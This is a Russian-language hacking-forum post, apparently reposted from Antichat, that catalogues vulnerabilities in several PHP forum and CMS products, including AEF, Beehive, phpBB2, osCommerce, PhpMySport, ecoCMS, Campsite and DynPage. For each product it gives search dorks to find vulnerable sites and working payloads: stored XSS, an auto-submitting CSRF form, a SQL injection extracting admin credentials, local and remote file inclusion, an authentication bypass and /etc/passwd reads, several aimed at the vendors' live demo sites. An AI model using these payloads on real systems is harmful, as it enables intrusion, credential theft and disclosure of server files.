Уязвимости в разных скриптах

Hint: flag is not a frag: once you've got it, you can get one more...

Эти уязвимости были когда-то мною опубликованы на античате
Продукт: AEF (форумный движок)
Сайт: http://www.anelectron.com
Дорк: "Powered by AEF" (250 000 результатов)
Уязвимость: Активная XSS.
Уязвимость присутствует из-за небезопасной обработки BB-тегов.
Можно вызвать разрушение тегов, и, как следствие, выполнение javascript-кода.
Пример эксплуатации:

Код:
[url]http://asd.asd[email]asd@asd.asd onmouseover=alert() bla=[/email][/url]


На выходе получаем:

Код:
<a href="http://asd.asd<a href="mailto:asd@asd.asd onmouseover=alert() bla=" target="_blank">asd@asd.asd onmouseover=alert() bla=</a>" target="_blank">http://asd.asd<a href="mailto:asd@asd.asd onmouseover=alert() bla=" target="_blank">asd@asd.asd onmouseover=alert() bla=</a></a>


Можно также провести атаку через стили (для ie и ff), тогда можно спрятать куски разрушенного тега:

Код:
[url]http://asd.asd[email]asd@asd.asd style=display:none;olo:expression(alert());-moz-binding:url() bla=[/email][/url]


Продукт:: Beehive (форумный движок)
Сайт:: http://beehiveforum.sourceforge.net/
Дорк:: "Project Beehive Forum" (?)
Уязвимость:: Активная XSS.
Уязвимость существует из-за недостаточной фильтрации слова javascript в сообщении.
Строчка из /include/fixhtml.php (скрипт "безопасной" обработки html):
PHP код:
 $attrib_value preg_replace("/javascript:/ixu"''$attrib_value); 

В движке разрешён html, а это ограничение обходится простым кодированием html (протокол от этого валидность не теряет):
Код:
<img src="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert()" />


Продукт:: CompactCMS
Сайт:: http://www.compactcms.nl
Дорк:: "Maintained with CompactCMS"
//тут была глупая ошибка, Strilo4ka заметил...
Уязвимость:: Исполнение произвольного кода.
Требования: права админа (админка по умолчанию не запаролена - /admin)
Жмём Create a new page, создаём страничку с php-кодом, затем она инклудится, и мы имеем шелл.
Уязвимость: E-Mail send XSRF (CSRF) Vulnerability.
Описание: Собственно, работает лишь в phpbb2, в 3 версии уже закрыта.
Эксплойт:
Код:
<html> <body> <form action="http://victim.com/phpbb2/profile.php?mode=email&amp;u=userid" method="post"> <input type="text" name="subject" value="XSRF bug" /> <textarea name="message">Found by Root-access</textarea> <input type="checkbox" name="cc_email" value="0" checked="checked"> <input type="submit" id="xsrf" name="submit" value="O'k"> </form> <script>document.getElementById("xsrf").click();</script> </body> </html>


Проверял на уязвимости один шоп, даже не посмотрел, что он на osCommerce, нашёл инъекцию:

advanced_search_result.php?inc_subcat=1&keywords=%20&categories_id=-1+union+select+1,concat_ws(%27;%27,user_name,user_ password)+from+administrators+limit+1,1--

Она почему-то в багтреках не упоминается, но в отчётах о патчах есть. вот oscommerce-2.2ms1j - Change Log, где это написано, что бага зафиксена 2007-02-17 16:53 http://ko.sourceforge.jp/projects/tep-j/document/oscommerce-2.2ms1j_oscommerce-2.2ms1j_-_Changes/

Стало быть версии до этой уязвимы.



PhpMySport
Site: phpmysport.sourceforge.net
Vulnerability: Local Files Include
Severity: High
Needs: magic_quotes=Off (or null-byte alternative)
Exploit: /index.php?lg=/../../../../../../../../../etc/passwd%00
Reason: В index.php есть строчки:
PHP код:
 ... 
/************************/ 
/* LANGUAGE MANAGEMENT  */ 
/************************/ 
if(!@include_once(create_path("include/lg_general_".LANG.".php"))) 

 echo 
"ERREUR : Language not supported/Langue non supportИe"
 exit(); 

... 

Константа LANG определяется в config.php и изначально берётся из get-параметра lg. Таким образом, мы можем написать слеш /, тем самым закрыв директорию, затем подняться вверх, расширение отрезать нулл-байтом.
Если не удаётся заинклудить, вылезает ошибка "ERREUR : Language not supported/Langue non supportИe". Вывод php-ошибок отключён.
Example: На официальном сайте http://phpmysport.sourceforge.net/demo/index.php?lg=/../../../../../../../../../etc/passwd%00&skin=defaut


ecoCMS
Site: www.ecocms.com
Vulnerability: Authorization bypass
Severity: High
Needs: register_globals=On
Exploit: /admin.php?_SESSION[user_in]=1
Reason: В admin.php переменная сессии $_SESSION['user_in'] определяется лишь если переданы неправильный логин и пароль:
PHP код:
<?php

/*
ecoCMS - Quick & easy to use Content Management System (CMS)
(c)2009 by ecoCMS.com - visit for PRO version.
*/

include('config.php');
if(
$_GET['panel']=='logout')session_destroy();

if(
$_POST['user'] && $_POST['pass']){
// user is trying to login here.
// verify his user/pass.
if($_POST['user']==constant('accessUser') && $_POST['pass']==constant('accessPass'))
$_SESSION['user_in']=1;
else
$Message 'Username or password incorrect!';
}

if(!
$_SESSION['user_in'])$HideContents=1;
else unset(
$HideContents);

?>


В admin.php переменная сессии $_SESSION['user_in'] определяется лишь если переданы неправильный логин и пароль. Следовательно. мы можем не передавая post-данные с логином и паролем, установить значение переменной сессии при register_globals=On.
Vulnerability: XSS
Severity: Low
Needs: -
Exploit: /admin.php?p=%3Cscript%3Ealert()%3C/script%3E
Reason: get-параметр p в admin.php недостаточно фильтруется. Код приводить смысла не вижу)


Campsite (3.3.5)
Site: campsite.campware.org
Vulnerability: Remote File Inclusion || Local File Inclusion
Severity: High
Needs: register_globals=On
Exploit: /tests/test_autopublish.php?GLOBALS[g_campsiteDir]=RFI ; /classes/ObjectType.php?GLOBALS[g_campsiteDir]=RFI
Reason: В tests/test_autopublish.php, /classes/ObjectType.php и в других скриптах часто используемая глобальная переменная g_campsiteDir не определена. Она определена лишь в скрипте set_path.php, который в самом вышеуказанном скрипте не подключается.
Участок кода в tests/test_autopublish.php:
PHP код:
<?php
require_once($GLOBALS['g_campsiteDir']."/classes/Article.php");
require_once(
$GLOBALS['g_campsiteDir']."/classes/ArticlePublish.php");
require_once(
$GLOBALS['g_campsiteDir']."/classes/Issue.php");
require_once(
$GLOBALS['g_campsiteDir']."/classes/IssuePublish.php");
...

Участок кода в /classes/ObjectType.php:
PHP код:
<?php
/**
 * @package Campsite
 */

/**
 * Includes
 */
require_once($GLOBALS['g_campsiteDir'].'/classes/DatabaseObject.php');
require_once(
$GLOBALS['g_campsiteDir'].'/classes/Translation.php');


Следовательно. мы можем установить значение глобальной переменной и заинклудить произвольный файл при register_globals=On.
При allow_url_include=On/Off имеем RFI/LFI соответственно. Для проведения LFI скорее всего понадобится ещё и magic_quotes_gpc=On для того, чтобы обрезать лишнее нулл-байтом.
При register_globals=Off имеем лишь раскрытие путей.


DynPage
Site: www.dynpage.net
Vulnerability: Arbitrary files content disclosing
Severity: High
Needs: -
Exploit: /content/dynpage_load.php?file=/etc/passwd
Reason: Файл /content/dynpage_load.php не защищён от прямого просмотра. То есть в других местах, где собственно идёт вывод контента с помощью этого скрипта есть какая-то фильтрация, а здесь без никаких ограничений имеем читалку.
Уязвимый код /content/dynpage_load.php:
PHP код:
 ...
$filename $_GET["file"]; 
if (!
is_dir ($filename) && file_exists ($filename)) { 
  
 
$bytes filesize ($filename); 
 
$fh fopen($filename'r'); 
 print (
fread ($fh$bytes)); 
 
fclose ($fh); 
 

else 
 print (
"DynPage file not found: ".htmlspecialchars ($filename)."");
 
?> 

Example: на официальном сайте: http://www.dynpage.net/dynpage/content/dynpage_load.php?file=/etc/passwd